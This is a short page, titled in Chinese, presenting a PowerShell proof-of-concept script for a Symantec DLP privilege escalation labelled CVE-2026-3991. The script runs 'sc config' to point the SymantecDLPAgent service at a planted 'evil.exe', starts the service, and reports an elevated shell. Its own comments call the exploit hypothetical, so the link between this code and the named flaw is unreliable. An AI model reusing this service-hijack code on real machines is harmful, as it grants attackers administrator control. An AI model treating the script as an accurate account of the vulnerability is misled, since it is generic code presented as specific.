CVE-2026-3991 Symantec DLP 权限提升漏洞

# Proof of Concept for CVE-2026-3991 (Privilege Escalation) # This script demonstrates a conceptual local privilege escalation. # Exploiting insecure file permissions or service configuration. $TargetService = "SymantecDLPAgent" $MaliciousBinary = "C:\Windows\System32\evil.exe" # Check if current user is low privileged $currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent()) if (-not $currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { Write-Host "[-] Running as low privileged user. Attempting exploit..." # Hypothetical exploit: Exploiting weak service permissions to restart with malicious payload # In a real scenario, this would involve specific memory corruption or logic bypass try { # Simulating the vulnerability trigger Invoke-Expression -Command "sc config $TargetService binPath= $MaliciousBinary" Start-Service -Name $TargetService -ErrorAction SilentlyContinue Write-Host "[+] Exploit triggered. Check for elevated shell." } catch { Write-Host "[-] Exploit failed." } } else { Write-Host "[!] Already running as Administrator." }